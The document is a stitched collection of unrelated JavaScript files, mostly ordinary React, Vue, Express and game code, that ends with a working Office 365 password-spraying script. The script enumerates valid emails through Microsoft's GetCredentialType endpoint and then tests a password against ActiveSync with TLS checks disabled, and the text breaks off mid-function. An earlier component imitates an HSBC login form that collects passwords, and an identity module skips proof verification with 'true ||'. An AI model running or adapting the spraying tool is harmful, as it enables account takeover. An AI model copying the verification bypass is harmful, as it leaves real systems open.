class CruiseShip { constructor(shipId, shipName, shipEntertainmentInfo, shipNumberOfFloors, shipTonnage, shipSpeed, shipVolume, shipNumberOfRooms, shipCrewCapacity, shipPictureURL) { this.shipId = shipId; this.shipName = shipName; this.shipEntertainmentInfo = shipEntertainmentInfo; this.shipNumberOfFloors = shipNumberOfFloors; this.shipTonnage = shipTonnage; this.shipSpeed = shipSpeed; this.shipVolume = shipVolume; this.shipNumberOfRooms = shipNumberOfRooms; this.shipCrewCapacity = shipCrewCapacity; this.shipPictureURL = shipPictureURL; } } module.exports.CruiseShip = CruiseShip;
import React from 'react'; import PropTypes from 'prop-types'; import { Link } from 'react-router-dom'; import logo from '../assets/hsbc-logo.svg'; const SignInModal = (props) => ( <div className="SignInModal"> <div className="SignInModalInner"> <img className="SignInModalImage" alt="HSBC Logo" src={logo} /> <div className="SignInModalTitle">Login with your HSBC account.</div> <div className="SignInModalList"> <input className="SignInModalListInput" placeholder="your name" onBlur={(e) => props.setName(e.target.value)} /> <input type="email" className="SignInModalListInput" placeholder="email" onBlur={(e) => props.setEmail(e.target.value)} /> <input type="password" className="SignInModalListInput" placeholder="password" onBlur={(e) => props.setPassword(e.target.value)} /> </div> <Link className="SignInModalLink" to={`/agree?appId=${props.appId}`}><button className="SignInModalButton">Continue ></button></Link> </div> </div> ); SignInModal.propTypes = { appId: PropTypes.string, setEmail: PropTypes.func.isRequired, setName: PropTypes.func.isRequired, setPassword: PropTypes.func.isRequired, }; SignInModal.defautProps = { appId: "" }; export default SignInModal;
import React from 'react'; import { NavLink } from 'react-router-dom'; import './Header.css' import logoImg from '../../images/logo.png'; const Header = () => { return ( <div className="container-fluid border-bottom border-primary"> <div className="header-bottom"> <div className="navbar navbar navbar-expand-lg navbar-light"> <div className="col-md-3 col-sm-3 navbar-brand"> <img className="w-25 h-25 ms-5" src={logoImg} alt="" /> </div> <div className="col-md-9 col-sm-5 text-center"> <nav className="container-fluid"> <ul className="navbar-nav "> <li className="nav-item p-2"> <NavLink className="nav-link fs-4" to="/home">Home</NavLink> </li> <li className="nav-item p-2"> <NavLink className="nav-link fs-4" to="/services">Services</NavLink> </li> <li className="nav-item p-2"> <NavLink className="nav-link fs-4" to="/about">About</NavLink> </li> <li className="nav-item p-2"> <NavLink className="nav-link fs-4" to="/contact">Contact</NavLink> </li> </ul> </nav> </div> </div> </div> </div> ); }; export default Header;
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = exports.status = void 0; var DEFAULT_TIMEOUT = 1000; var status = { rejected: 'rejected', fulfilled: 'fulfilled' }; /** * Resolve promise handler. * @param {*} data * @returns {void} */ exports.status = status; var resolved = function resolved(data) { return { data: data, status: status.fulfilled }; }; /** * Resolve promise handler. * @param {*} err * @returns {void} */ var rejected = function rejected(err) { return { err: err, status: status.rejected }; }; /** * Reject promise handler. * @param {*} p * @returns {Object} */ var reflect = function reflect(p) { return p.then(resolved, rejected); }; /** * @param {Promise[]} promises * @param {Number} ms - Amount of time to wait for bid calls. * @returns {Object} */ var timedPromise = function timedPromise(promises) { var ms = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : DEFAULT_TIMEOUT; return Promise.all([].concat(promises).map(function (promise) { var timeout = new Promise(function (_, reject) { var id = setTimeout(function () { clearTimeout(id); reject('Timed out in ' + ms + 'ms.'); }, ms); }); return reflect(Promise.race([promise, timeout])); })); }; var _default = timedPromise; exports.default = _default;
import React from 'react' import ReactDOM from 'react-dom' import {Provider} from 'react-redux' import './styles/index.css' import './styles/material-icons.css' import App from './App' import registerServiceWorker from './utils/registerServiceWorker' import configureStore from './store' import rootReducer from './rootReducer' const store = configureStore(rootReducer) ReactDOM.render( <Provider store={store}> <App /> </Provider>, document.getElementById('root') ); registerServiceWorker();
'use strict'; const sdk = require('indy-sdk'); const indy = require('../../index.js'); const MESSAGE_TYPES = { REQUEST : "urn:sovrin:agent:message_type:sovrin.org/proof_request", PROOF : "urn:sovrin:agent:message_type:sovrin.org/proof" }; exports.MESSAGE_TYPES = MESSAGE_TYPES; exports.handlers = require('./handlers'); exports.getProofRequests = async function() { let proofRequests = {}; // Get the credential definitions let credDefs = await indy.did.getEndpointDidAttribute('credential_definitions'); // Iterate over credential definitions try { for (let credDef of credDefs) { // Create generic proof request from credential definition let proofRequest = { name: credDef.tag + '-Proof', version: '0.1', requested_attributes: {}, requested_predicates: {} }; let schema = await indy.issuer.getSchema(credDef.schemaId_long); // Iterate over attributes defined in credential definition for the requested_attributes section for (let i = 0; i < schema.attrNames.length; i++) { let attr_referent = { name: schema.attrNames[i], restrictions: [{cred_def_id: credDef.id}] }; proofRequest.requested_attributes['attr' + (i+1) + '_referent'] = attr_referent; } proofRequests[proofRequest.name] = proofRequest; } } catch (e) { console.log(e); } return proofRequests; }; exports.sendRequest = async function(myDid, theirDid, proofRequestText) { let proofRequest = JSON.parse(proofRequestText); proofRequest.nonce = randomNonce(); indy.store.pendingProofRequests.write(proofRequest); return indy.crypto.sendAnonCryptedMessage(await indy.did.getTheirEndpointDid(theirDid), await indy.crypto.buildAuthcryptedMessage(myDid, theirDid, MESSAGE_TYPES.REQUEST, proofRequest)); }; /* * This function is currently oversimplified. It does not support: * requested_predicates * self_attested_attributes * We are just selecting the first credential that fits, rather than letting the user select which they want to use. (indicated by [0] twice below) */ exports.prepareRequest = async function(message) { let pairwise = await indy.pairwise.get(message.origin); let proofRequest = await indy.crypto.authDecrypt(pairwise.my_did, message.message); let credsForProofRequest = await sdk.proverGetCredentialsForProofReq(await indy.wallet.get(), proofRequest); let credsForProof = {}; for(let attr of Object.keys(proofRequest.requested_attributes)) { credsForProof[`${credsForProofRequest['attrs'][attr][0]['cred_info']['referent']}`] = credsForProofRequest['attrs'][attr][0]['cred_info']; } let requestedCreds = { self_attested_attributes: {}, requested_attributes: {}, requested_predicates: {} }; for(let attr of Object.keys(proofRequest.requested_attributes)) { requestedCreds.requested_attributes[attr] = { cred_id: credsForProofRequest['attrs'][attr][0]['cred_info']['referent'], revealed: true } } return { origin: message.origin, type: message.type, message: { proofRequest: proofRequest, credsForProof: credsForProof, requestedCreds: requestedCreds } } }; exports.acceptRequest = async function(messageId) { let message = indy.store.messages.getMessage(messageId); indy.store.messages.deleteMessage(messageId); let pairwise = await indy.pairwise.get(message.message.origin); let [schemas, credDefs, revocStates] = await indy.pool.proverGetEntitiesFromLedger(message.message.message.credsForProof); let proof = await sdk.proverCreateProof(await indy.wallet.get(), message.message.message.proofRequest, message.message.message.requestedCreds, await indy.crypto.getMasterSecretId(), schemas, credDefs, revocStates); proof.nonce = message.message.message.proofRequest.nonce; let theirEndpointDid = await indy.did.getTheirEndpointDid(message.message.origin); await indy.crypto.sendAnonCryptedMessage(theirEndpointDid, await indy.crypto.buildAuthcryptedMessage(pairwise.my_did, message.message.origin, MESSAGE_TYPES.PROOF, proof)); }; exports.validateAndStoreProof = async function(message) { let pairwise = await indy.pairwise.get(message.origin); let proof = await indy.crypto.authDecrypt(pairwise.my_did, message.message); let pendingProofRequests = indy.store.pendingProofRequests.getAll(); let proofRequest; for(let pr of pendingProofRequests) { if(pr.proofRequest.nonce === proof.nonce) { proofRequest = pr.proofRequest; indy.store.pendingProofRequests.delete(pr.id); } } if(proofRequest) { let [schemas, credDefs, revRegDefs, revRegs] = await indy.pool.verifierGetEntitiesFromLedger(proof.identifiers); delete proof.nonce; if(true || await sdk.verifierVerifyProof(proofRequest, proof, schemas, credDefs, revRegDefs, revRegs)) { // FIXME: Verification is failing! Figure out why, remove "true ||" await indy.pairwise.addProof(message.origin, proof, proofRequest); } else { console.error('Proof validation failed!'); } } else { console.log("No pending proof request found for received proof"); } }; exports.validate = async function(proof) { let [schemas, credDefs, revRegDefs, revRegs] = await indy.pool.verifierGetEntitiesFromLedger(proof.identifiers); return await sdk.verifierVerifyProof(proof.request, proof, schemas, credDefs, revRegDefs, revRegs); }; function randomNonce() { return Math.floor(Math.random() * Math.floor(Number.MAX_SAFE_INTEGER)).toString() + Math.floor(Math.random() * Math.floor(Number.MAX_SAFE_INTEGER)).toString(); }
/*------------------Apply condition to getting correct response-------------*/ /*------------------And Update data into box-------------*/ function CallAjax(){ var http = new XMLHttpRequest(); http.open("GET", "data.txt"); http.send() http.onreadystatechange = function(){ if(this.readyState==4 && this.status==200) { console.log(this.response) document.getElementById("box").innerHTML = this.response } //console.log(this.status) } } // Note :- AJAX have partial loding and partial rendering behavior
/** * Controller para view register */ app.controller("RegisterController", function($scope, $http) { $scope.user = new Object(); $scope.user.name = ""; $scope.user.email = ""; $scope.user.password = ""; $scope.register = function() { $http.post("/userRegistration", $scope.user).then(function(response) { if (response.data == "") { alert("There is already a user with this email!"); } else { alert("Registered user successfully!") } }) }; });
import Vue from 'vue' import App from './App.vue' import router from './router' import Notifications from 'vue-notification' Vue.config.productionTip = false; Vue.use(Notifications); let handleOutsideClick; Vue.directive('closable', { bind (el, binding, vnode) { handleOutsideClick = (e) => { e.stopPropagation() const { handler, exclude } = binding.value let clickedOnExcludedEl = false exclude.forEach(refName => { if (!clickedOnExcludedEl) { const excludedEl = vnode.context.$refs[refName] clickedOnExcludedEl = excludedEl.contains(e.target) } }); if (!el.contains(e.target) && !clickedOnExcludedEl) { vnode.context[handler]() } }; document.addEventListener('click', handleOutsideClick) document.addEventListener('touchstart', handleOutsideClick) }, unbind () { // If the element that has v-closable is removed, then // unbind click/touchstart listeners from the whole page document.removeEventListener('click', handleOutsideClick) document.removeEventListener('touchstart', handleOutsideClick) } }); new Vue({ router, render: h => h(App) }).$mount('#app');
// const http = require('http'); // //创建web服务 request获取客户端 url传过来的信息 response给浏览器响应信息 // http.createServer(function (request, response) { // //设置响应头 // response.writeHead(200, {'Content-Type': 'text/plain'}); // //表示给我们页面上面输出一句话并结束响应 // response.end('Hello World' ); // }).listen(8081); // console.log('Server running at http://127.0.0.1:8081/'); // const http = require('http'); // const { updateFor } = require('typescript'); // http.createServer((req,res) => { // console.log(req.url); // res.writeHead(200,{"Content-type":"text/html;charset='utf-8'"}) // //设置html 编码 这样汉语就不会乱码了 // res.write('<head> <meta charset="Utf-8"></head>') // res.write("<h2>你好 node.js</h2>") // res.write('node js'); // res.end(); // }).listen(3000); // const url = require('url'); // var api = "http://www.itying.com?name=zhangsan&age=20"; // console.log(url.parse(api)); // console.log(url.parse(api,true));//加true query里的值会变成object // var getVal = url.parse(api,true).query; // console.log(`姓名:${getVal.name} 年龄:${getVal.age}`); // const http = require('http'); // const { updateFor } = require('typescript'); // const url = require('url'); // http.createServer((req,res) => { // console.log(req.url); // res.writeHead(200,{"Content-type":"text/html;charset='utf-8'"}) // res.write('<head> <meta charset="Utf-8"></head>') // // console.log(req.url) //获取浏览器访问的地址 // if(req.url != '/favicon.ico'){ // var userinfo = url.parse(req.url,true).query; // console.log(userinfo); // console.log(`姓名 ${userinfo.name} 年龄 ${userinfo.age}`); // } // res.end(); // }).listen(3000);
if (!navigator.onLine) { // Offline! alert('No internet connection available. Please reconnect ...'); } $(document).ready(function() { $(".flipbook, .advisory").click(function() { window.location.href = "marketing.html"; }); $(".headline").click(function() { window.location.href = "news.html"; }); // Fetch app and build versions via PhoneGap and display them on the start page: if (window.xCodeAppVersion && window.xCodeBuildVersion) { var appVer = null; var bldVer = null; window.xCodeAppVersion(function (ver) { appVer = ver; if (bldVer) { $("#versionInfo").text("V " + appVer + " b " + bldVer); } }); window.xCodeBuildVersion(function (ver) { bldVer = ver; if (appVer) { $("#versionInfo").text("V " + appVer + " b " + bldVer); } }); } var scroll = new iScroll("pageContent", { hScrollbar: false, vScrollbar: false, momentum: false, snap: true, zoom: false }); $("#btnLater").on("click touch", function () { alert("[Later]"); }); $("#btnEdit").on("click touch", function () { alert("[Edit]"); }); $(".notification.clickable").on("click touch", function () { alert("[Notification]"); }); });
//Creates the neccessary variables and assignes them the value given by the user. let userName = prompt("What is your name?") let userState = prompt("What state do you live in? (use two letters: FL, NE, etc.)") let userTemp = prompt("What tempreture is it outside in Fahrenheit? (use a number)") //Creates a dictionary that contains the messages we use to output to the user. let theMessages = ["wear a warm coat, hat, scarf and gloves.", "wear a warm coat but you won't need a hat, scarf or gloves.", "wear your warmest coat, a warm hat, a scarf, and warm gloves.", "wear a warm coat, hat and gloves. Maybe a scarf too."] //this creates a switch conditional that goes through and determins if the variables match the conditions, if true, out puts the appropriate message from the array. switch (true){ case(userState === "NE" && userTemp < 32): console.log(`${userName}, ${theMessages[0]}`); break; case(userState === "NE" && userTemp > 32 && userTemp <50): console.log(`${userName}, ${theMessages[1]}`); break; case(userState === "FL" && userTemp > 32 && userTemp <50): console.log(`${userName}, ${theMessages[2]}`); break; case(userState === "FL" && userTemp > 50 && userTemp <70): console.log(`${userName}, ${theMessages[3]}`); break; default: console.log('Your state has no data.') break; }
import React from "react"; import { CaretUpFilled } from "@ant-design/icons"; import { Button } from "antd"; const ChallengeCard = ({ value }) => { const [voteToggle, setVoteToggle] = React.useState(false); const upVote = () => { setVoteToggle(!voteToggle); voteToggle ? (value.upVotes -= 1) : (value.upVotes += 1); }; const [voteCount, setVoteCount] = React.useState(value.upVotes); React.useEffect(() => { const upVoteCount = value.upVotes; setVoteCount(upVoteCount); }, [voteToggle]); return ( <div className="d-flex justify-content-center"> <div className="card w-50 m-3"> <div className="card-body"> <div className="d-flex justify-content-between"> <h5 className="mb-1">{value.title}</h5> <small>{value.createdDt}</small> </div> <p className="card-text">{value.description}</p> <div className="d-flex justify-content-between"> <span className="badge bg-success" style={{ maxHeight: "20px" }}> {value.tags} </span> <Button icon={<CaretUpFilled />} onClick={upVote}> UPVOTE {voteCount} </Button> </div> </div> </div> </div> ); }; export default ChallengeCard;
Vue.component('props', { props: { user: { type: Object, required: true } }, data() { return { datab: this.user.name } }, template: ` <div> <h2>Props en Vuejs</h2> <p>{{ user.name }} {{ user.surname }}, edad: {{ user.age }}</p> <input type="text" v-model="datab" placeholder="name"> <p>{{ datab }}</p> </div> ` });
/** @module rangesliderJs */ import utils from './utils' import RangeSlider from './rangeslider' import CONST from './const' /** * @type {object} */ export default { /** * @type {RangeSlider} */ RangeSlider, /** * Expose utils * @type {object} */ utils, /** * Plugin wrapper around the constructor, preventing multiple instantiations * * @param {Element|NodeList} el * @param {object} options */ create: (el, options) => { if (!el) return function createInstance (el) { el[CONST.PLUGIN_NAME] = el[CONST.PLUGIN_NAME] || new RangeSlider(el, options) } if (el.length) { Array.prototype.slice.call(el).forEach(el => createInstance(el)) } else { createInstance(el) } } }
/*eslint no-process-exit:0 */ /** * @description worker for mocha process * @file lib/worker/index.js */ 'use strict'; var vm = require('vm'); var path = require('path'); var loophole = require('loophole'); var Mocha = require('mocha'); var MochaUtils = require('mocha').utils; Object.defineProperty(global, 'console', { 'get': function () { return { 'log': function () { process.send({'message': 'console:log', 'data': [].slice.call(arguments) }); }, 'warn': function () { process.send({'message': 'console:warn', 'data': [].slice.call(arguments) }); }, 'error': function () { process.send({'message': 'console:error', 'data': [].slice.call(arguments) }); } }; } }); // when receiving a message, start the mocha process. // the message includes project directory, options and the test directory. // instantiate mocha, set up options not available via constructor & run it. process.on('message', function (data) { var projectDir = data.projectDir; var mochaOpts = data.mochaOpts; mochaOpts.opts.reporter = require('./reporter'); var mocha = new Mocha(mochaOpts.opts); var ext = ['js']; // load any requires mochaOpts.requires.forEach(function (req) { require(path.join(projectDir, 'node_modules', req)); }); // load any compilers, add extensions for lookup. mochaOpts.compilers.forEach(function (compiler) { require(path.join(projectDir, 'node_modules', compiler.mod)); ext.push(compiler.ext); }); // set up the environment to work properly in an atom context. process.chdir(projectDir); global.Function = loophole.Function; global.eval = function (source) { return vm.runInThisContext(source); }; // add files to mocha var files = []; mochaOpts.paths.forEach(function (p) { files = files.concat(MochaUtils.lookupFiles(p, ext, mochaOpts.recursive)); }); files = files.map(function (p) { return path.resolve(p); }); // are we sorting? if (mochaOpts.sort) { files.sort(); } files.forEach(function (file) { mocha.addFile(file); }); // run the tests - noExit defers exit until exit is fired. var runner = mocha.run(mochaOpts.noExit ? exitLater : process.exit); function exitLater (code) { process.on('exit', function () { process.exit(code); }); } // could come in handy? process.on('SIGINT', function () { runner.abort(); }); });
// import React, { Component, useState, useEffect, useContext, useRef } from 'react'; import React from 'react'; import scss from './card.module.scss'; import classNames from 'classnames'; import useBattleContext from '../useBattleStageContext'; import {getHpValues} from './helper.js'; import {getChargeValues} from './helper.js'; import Hit from './Hit'; // used to render the card style const Card = (props) => { const context = useBattleContext(); let {heroData, enemyData} = context; let cardId; let shieldId; let HShield = null; let EShield = null; let chargedUp = null; if(props.type==='hero') { cardId = 'card_'+heroData.id; shieldId = 'shield_'+heroData.id; HShield = heroData.defending ? scss.shield : null; } else { cardId = 'card_'+enemyData.id; shieldId = 'shield_'+enemyData.id; EShield = enemyData.defending ? scss.shield : null; chargedUp = enemyData.atkNum%4 === 0 ? scss.eCharged : null console.log('(enemyData.atkNum',enemyData.atkNum,(enemyData.atkNum + 1),(enemyData.atkNum + 1)%4); } // let cardId = rest.type==='hero' ? 'card_'+heroData.id : 'card_'+enemyData.id; // let shieldId = rest.type==='hero' ? 'shield_'+heroData.id : 'shield_'+enemyData.id; // let HShield = rest.type==='hero' ? scss.shield : null; // let EShield = rest.type==='hero' ? null : scss.shield; return ( <div id={cardId} className={classNames(scss.card,chargedUp)}> {props.children.map((child,idx)=>{ return React.cloneElement(child, { type: props.type, key:idx, hurtPercentage:props.hurtPercentage, nearDeathPercentage:props.nearDeathPercentage}); })} {props.type === 'hero' ? <div id={shieldId} className={HShield}></div> : <div id={shieldId} className={EShield}></div> } </div> ) } //utilize useBattleContext to make sure it's using the correct context AND destructure what's needed export const Img = ({...rest}) => { const context = useBattleContext(); let {heroData, enemyData} = context; let {hp,totalHp,srcs} = getHpValues(rest.type,heroData,enemyData); // console.log('hp,totalHp,src',hp,totalHp,srcs); let number = (hp/totalHp); let percentage = (Math.ceil(10*(number))/10)*100; let src=null; if(percentage <= 100 && percentage >= rest.hurtPercentage) src = srcs.full; else if((percentage < rest.hurtPercentage) && percentage >= rest.nearDeathPercentage) src = srcs.hurt; else if(percentage < rest.nearDeathPercentage && percentage > 0) src = srcs.nearDeath; else src = srcs.dead; let boxId = rest.type==='hero' ? 'chkBox'+heroData.id : 'chkBox'+enemyData.id; let imgId = rest.type==='hero' ? 'img'+heroData.id : 'img'+enemyData.id return ( <> <img id={imgId} className={scss.img} alt={"img"} src={src} /> <Hit boxId={boxId} /> </> ) } export const HpBar = ({...rest}) => { const context = useBattleContext(); let {heroData, enemyData} = context; let {hp,totalHp} = getHpValues(rest.type,heroData,enemyData); let number = (hp/totalHp); let percentage = (Math.round(10*(number))/10)*100; let color = null; if(percentage <= 100 && percentage >= rest.hurtPercentage) color = 'lightgreen'; else if((percentage < rest.hurtPercentage) && percentage >= rest.nearDeathPercentage) color = 'orange'; else color = 'red'; let styles={width:percentage+'%',backgroundColor:color} return ( <> <div className={scss.HpNumber}>HP: {hp}</div> <div style={styles} id={rest.type==='hero' ? 'heroHPBar' : 'enemyHPBar'} className={scss.HpBar}></div> </> ) } export const ChargeBar = ({...rest}) => { const context = useBattleContext(); let {heroData, enemyData} = context; let {charge, totalCharge} = getChargeValues(rest.type,heroData,enemyData); let number = (charge/totalCharge); let percentage = (Math.round(10*(number))/10)*100; let styles={width:percentage+'%'} return ( <> {rest.type==='hero' ?<div style={styles} id={'heroChargeBar'} className={scss.chargeBar}></div> :<div style={styles} id={'enemyChargeBar'} className={scss.enemyChargeBar}></div> } {/* <div style={styles} id={rest.type==='hero' ? 'heroChargeBar' : 'enemyChargeBar'} className={scss.chargeBar}></div> */} </> ) } export default Card;
import ErrorRenderer from '@upfluence/ember-upf-utils/helpers/error-renderer'; export default ErrorRenderer;
var express = require( 'express' ); var path = require( 'path' ); module.exports = function( core, app, router, theme ) { app.use( '/staticAdmin', function( req, res, next ) { if ( router.requireLogin( req, res, next ) ) next(); } ); app.use( '/staticAdmin', express.static( path.resolve( core.config.router.staticAdminURL ) ) ); app.use( [ '/admin/*', '/admin' ], function( req, res, next ) { res.set( 'Cache-Control', 'private, no-cache, no-store, must-revalidate' ); if ( router.requireLogin( req, res, next ) ) next(); } ); app.get( '/admin/', function( req, res, next ) { var re = router.getRedirect( req ); if ( re ) { res.redirect( re ); return false; } router.sendStaticPage( req, res, next, { "url == ": '/home', 'admin !=': 0 }, { site: router.site.general, admin: router.site.admin, toasts: router.getToasts( req ) } ); } ); app.get( '/admin/template', function( req, res, next ) { router.sendStaticPage( req, res, next, { "url == ": '/template', 'admin !=': 0 }, { site: router.site.general, admin: router.site.admin, toasts: router.getToasts( req ) } ); } ); app.get( '/admin/page', function( req, res, next ) { router.sendStaticPage( req, res, next, { "url == ": '/page', 'admin !=': 0 }, { site: router.site.general, admin: router.site.admin, toasts: router.getToasts( req ) } ); } ); app.get( '/admin/templates', function( req, res, next ) { router.sendStaticPage( req, res, next, { "url == ": '/templates', 'admin ==': 1 }, { site: router.site.general, admin: router.site.admin, toasts: router.getToasts( req ) }, true ); } ); app.get( '/admin/navigation', function( req, res, next ) { core.db.getSettings().then( function( data ) { var settings = data; return core.db.get( 'pages', [ 'url', 'title' ], { 'admin ==': 0 } ).then( function( pages ){ router.sendStaticPage( req, res, next, { "url == ": '/navigation', 'admin ==': 1 }, { site: router.site.general, admin: router.site.admin, pages: pages, settings: settings, toasts: router.getToasts( req ) }, true ); } ); } ).fail( function( err ) { res.send( err ); } ); } ); app.get( '/admin/settings', function( req, res, next ) { core.db.getSettings().then( function( data ) { router.sendStaticPage( req, res, next, { "url == ": '/settings', 'admin ==': 1 }, { site: router.site.general, admin: router.site.admin, settings: data, toasts: router.getToasts( req ) }, true ); }, function( err ) { res.send( err ); } ); } ); app.get( '/admin/pages', function( req, res, next ) { var offset = isNaN( + req.query.offset ) ? 0 : ( + req.query.offset ); var query = { "admin == ": 0 }; var order = { date: false }; var search = req.query.search; if ( search ) { query[ "title LIKE $title OR url LIKE " ] = '%' + search + '%'; } if ( req.query.order ) { order = {} order[ req.query.order ] = false; if ( req.query.by ) { order[ req.query.order ] = req.query.by.toLowerCase() == 'asc'; } } // core.db._All( 'SELECT * FROM pages WHERE ((title LIKE $title OR url LIKE $url) AND admin == 0)', {$title: '%' + search + '%', $url: '%' + search + '%'} ) core.db.get( 'pages', [ '*' ], query, order, 20, offset ) .then( function( row ) { router.sendStaticPage( req, res, next, { "url == ": '/admin/pages', 'admin !=': 0 }, { site: router.site.general, admin: router.site.admin, pages: row, toasts: router.getToasts( req ) } ) }, function( err ) { res.status( 404 ); res.send( err ); } ); } ); };
// 定义一个画布中实体的类,所有实体均继承自此父类 class Entity { constructor(position, sprite) { // 实体在画布中所在的位置 this.position = position; // 物体的图片或者雪碧图,用一个我们提供的工具函数来轻松的加载文件 this.sprite = sprite; } // 此为游戏必须的函数,用来在屏幕上画出物体 render(width, height) { // 由于石块图片和宝石图片过大,所以需要调整图片大小 if (Util.isNumber(width, height)) { ctx.drawImage( Resources.get(this.sprite), this.position.x, this.position.y, width, height ); } else { ctx.drawImage( Resources.get(this.sprite), this.position.x, this.position.y ); } } } // 定义障碍物类 class Rock extends Entity { constructor(x, y) { super({ x, y }, 'images/Rock.png'); } } // 定义奖励宝石类 class Gem extends Entity { constructor(x, y, color) { // 奖励宝石区分颜色,所以这里需要传入一个color参数 super( { x, y }, `images/Gem ${color[0].toUpperCase()}${color.slice(1)}.png` ); } } // 移动实体类,是实体类的子类,同时又是英雄实体类和敌人实体类的父类 class MoveEntity extends Entity { constructor(position, sprite) { super(position, sprite); } // 判断下一次的移动方向是否会超出画布边界 isAtEdge(direction) { let { x, y } = this.position; if (direction === 'left' && x <= 0) { return true; } if (direction === 'right' && x + CELL_WIDTH >= CELL_WIDTH * 6) { return true; } if (direction === 'up' && y <= 0) { return true; } if (direction === 'down' && y + CELL_HEIGHT >= CELL_HEIGHT * 6) { return true; } return false; } } // 定义敌人类 class Enemy extends MoveEntity { constructor(x, y) { super({ x, y }, 'images/enemy-bug-r.png'); // 敌人自动移动,所以需要控制移动方向。1:向右移动,-1:向左移动 this.direction = 1; } // 此为游戏必须的函数,用来更新敌人的位置 // 参数: dt ,表示时间间隙 update(dt) { // 你应该给每一次的移动都乘以 dt 参数,以此来保证游戏在所有的电脑上 // 都是以同样的速度运行的 if (this.isAtEdge(this.direction === 1 ? 'right' : 'left')) { this.direction = -this.direction; this.sprite = this.direction === 1 ? 'images/enemy-bug-r.png' : 'images/enemy-bug-l.png'; } this.position.x = this.position.x + this.direction * CELL_WIDTH * dt; } } // 定义英雄角色类 class Hero extends MoveEntity { constructor(x, y) { super({ x, y }, 'images/char-boy.png'); } update() {} // 控制英雄左右移动 handleInput(direction) { // 先检查是否会越过画布边界 或 被障碍物阻挡 if (!this.isAtEdge(direction) && !this.willHitRock(direction)) { switch (direction) { case 'left': this.position.x -= CELL_WIDTH; break; case 'right': this.position.x += CELL_WIDTH; break; case 'up': this.position.y -= CELL_HEIGHT; break; case 'down': this.position.y += CELL_HEIGHT; } // 检查移动后是否获得奖励 this.checkIfGotGem(); // 检查移动后是否成功营救公主 this.checkIfSavePrincess(); } } // 检查向此方向移动是否会被障碍物阻挡 willHitRock(direction) { let willHit = false; let { x: hx, y: hy } = this.position; let { x: rx, y: ry } = rock.position; switch (direction) { case 'left': willHit = hy === ry && hx === rx + CELL_WIDTH; break; case 'right': willHit = hy === ry && rx === hx + CELL_WIDTH; break; case 'up': willHit = hx === rx && hy === ry + CELL_HEIGHT; break; case 'down': willHit = hx === rx && ry === hy + CELL_HEIGHT; } return willHit; } // 检查是否获得奖励,若获得了将 gem 对象弹出 allGems 数组 checkIfGotGem() { let index = allGems.findIndex( gem => gem.position.x === this.position.x && gem.position.y === this.position.y ); if (index !== -1) { allGems.splice(index, 1); } } // 检查是否成功营救公主,赢得游戏胜利 checkIfSavePrincess() { let { x: hx, y: hy } = this.position; let { x: px, y: py } = princess.position; if (hx === px && hy === py) { this.position.x = 235; this.position.y = -10; Util.showWinDialog(); } } } // 定义公主类 class Princess extends Entity { constructor(x, y) { super({ x, y }, 'images/char-princess-girl.png'); } } // 工具类 class Util { constructor() {} // 检查传入的数是否都是 数字 static isNumber(...arr) { return arr.every(num => typeof num === 'number'); } // 弹出游戏胜利的提示对话框 static showWinDialog() { let starCnt = 5 - allGems.length; const stars = document.getElementsByClassName('stars')[0]; for (let i = 0; i < starCnt; i++) { stars.children[i].children[0].classList.add('shine'); } stars.style = ''; swal({ title: 'Congratulations!', text: 'You have save the princess!', content: stars, icon: 'success', buttons: [true, 'Play Again'] }).then(accept => { resetGame(); }); } } const CELL_WIDTH = 101 const CELL_HEIGHT = 83 // 把障碍物对象放进一个叫 rock 的变量里 const rock = new Rock(CELL_WIDTH * 3, CELL_HEIGHT * 3 - 10); // 把所有宝石的对象都放进一个叫 allGems 的数组里 const allGems = []; allGems.push(new Gem(CELL_WIDTH, CELL_HEIGHT * 3 - 10, 'blue'), new Gem(CELL_WIDTH * 5, CELL_HEIGHT - 10, 'green')); // 把所有敌人的对象都放进一个叫 allEnemies 的数组里 const allEnemies = []; allEnemies.push(new Enemy(CELL_WIDTH, CELL_HEIGHT - 10), new Enemy(CELL_WIDTH * 5, CELL_HEIGHT * 2 - 10), new Enemy(0, CELL_HEIGHT * 4 - 10)); // 把玩家对象放进一个叫 Hero 的变量里 const hero = new Hero(CELL_WIDTH * 2, CELL_HEIGHT * 5 - 10); // 把公主对象放进一个叫 princess 的变量里 const princess = new Princess(CELL_WIDTH * 3, -10); // 这段代码监听游戏玩家的键盘点击事件并且代表将按键的关键数字送到 Play.handleInput() // 方法里面。你不需要再更改这段代码了。 document.addEventListener('keyup', e => { const allowedKeys = { 37: 'left', 38: 'up', 39: 'right', 40: 'down' }; hero.handleInput(allowedKeys[e.keyCode]); }); // 重置画布中的实体 const resetEntity = function() { hero.position.x = CELL_WIDTH * 2; hero.position.y = CELL_HEIGHT * 5 - 10; allGems.length = 0; allGems.push(new Gem(CELL_WIDTH, CELL_HEIGHT * 3 - 10, 'blue'), new Gem(CELL_WIDTH * 5, CELL_HEIGHT - 10, 'green')); // 重置分数评级 Array.from(document.getElementsByClassName('stars')[0].children).forEach( li => { li.children[0].classList.remove('shine'); } ); };
const fs = require('fs') const request = require('request') const lineReader = require('line-reader'); process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0 emails = [] start_index = 0 //temp value defined after parsing the file end_index = 0 threads = 0 threads_limit = 10 var pass = process.argv[3] var user_file = process.argv[2] function is_email_valid(email){ let bodyString = `{"Username":"${email}"}` let headers = { "Connection": "close", "Accept-Encoding": "identity", "Accept": "*/*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko", "Content-Length": bodyString.length } let options = { url: "https://login.microsoftonline.com/common/GetCredentialType", headers: headers, method: "post", body: bodyString } request(options, function (error, response, body) { let email_status = JSON.parse(body).IfExistsResult if(email_status == 0){ console.log(`[+] VALID_EMAIL: ${email}`) is_password_valid(email) }else{ console.log(`[-] UNKNOWN_EMAIL: ${email}`) threads -= 1 thread_api() } }) } function is_password_valid(email){ let userpass = `${email}:${pass}` let encoded = Buffer.from(userpass).toString('base64') let headers = { "Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko", "MS-ASProtocolVersion": "14.0", "Content-Length": "0", "Authorization": `Basic ${encoded}` } let options = { url: "https://outlook.office365.com:443/Microsoft-Server-ActiveSync", headers: headers, method: "options" } request(options, function (error, response, body) { if(response.statusCode == 403){ console.log(`[+] SUCCESS (But 2FA): ${email}:${pass}`) }else if(response.statusCode == 200){ 